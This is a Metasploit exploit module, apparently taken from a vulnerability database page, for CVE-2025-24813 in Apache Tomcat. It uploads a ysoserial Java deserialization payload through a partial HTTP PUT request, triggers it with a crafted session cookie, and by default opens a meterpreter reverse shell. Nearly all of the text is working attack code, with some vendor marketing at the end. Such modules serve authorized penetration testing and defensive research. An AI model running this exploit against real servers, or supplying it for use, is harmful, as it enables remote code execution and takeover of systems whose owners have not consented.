##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::JavaDeserialization
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tomcat Partial PUT Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in Apache
Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to
place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory.
For the exploit to succeed, writes must be enabled for the default servlet,
and org.apache.catalina.session.PersistentManager must be configured to use
org.apache.catalina.session.FileStore.
Verified working on 10.1.16-1
},
'Author' => [
'sw0rd1ight', # Discovery
'Calum Hutton', # MSF Module
'h4ck3r-04' # MSF Module
],
'References' => [
['CVE', '2025-24813'],
['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'],
],
'DisclosureDate' => '2025-03-10', # Vendor release note
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']),
])
end
def check
# Advanced check, runs the full exploit (without a command)
# Assumes a 500 response from requesting the session indicates success
begin
upload_session_id = upload_payload('')
unless upload_session_id
return Exploit::CheckCode::Safe
end
rescue Msf::Exploit::Failed => e
return CheckCode::Safe(e)
end
trigger_res = trigger_payload(upload_session_id)
if trigger_res&.code != 500
Exploit::CheckCode::Safe
end
Exploit::CheckCode::Vulnerable
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
def execute_command(cmd, _opts = {})
print_status("Utilizing #{datastore['GADGET']} deserialization chain")
upload_session_id = upload_payload(cmd)
unless upload_session_id
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT")
print_status('Attempting to deserialize session file..')
trigger_payload_res = trigger_payload(upload_session_id)
unless trigger_payload_res&.code == 500
fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}")
end
print_good('500 error response usually indicates success :)')
end
def upload_payload(cmd)
# Generate a random session id
session_id = Rex::Text.rand_text_alpha(10)
# Determine the shell and register the payload for cleanup
case target['Platform']
when ['unix', 'linux']
shell = 'bash'
register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
when 'win'
shell = 'cmd'
register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
else
fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
end
res = send_partial_put(
generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
"#{session_id}.session"
)
# 201/204 is the normal success code
# 409 indicates a conflict or file permission issue
# but the partial file will still be created
if [201, 204, 409].include?(res&.code)
session_id
end
end
def trigger_payload(session_id)
# Request the session id to retrieve the file and trigger deserialization
request = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" }
}
send_request_cgi(request)
end
def send_partial_put(data, name)
request = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, name),
'headers' => { 'Content-Range' => 'bytes 0-5/100' },
'data' => data
}
send_request_cgi(request)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation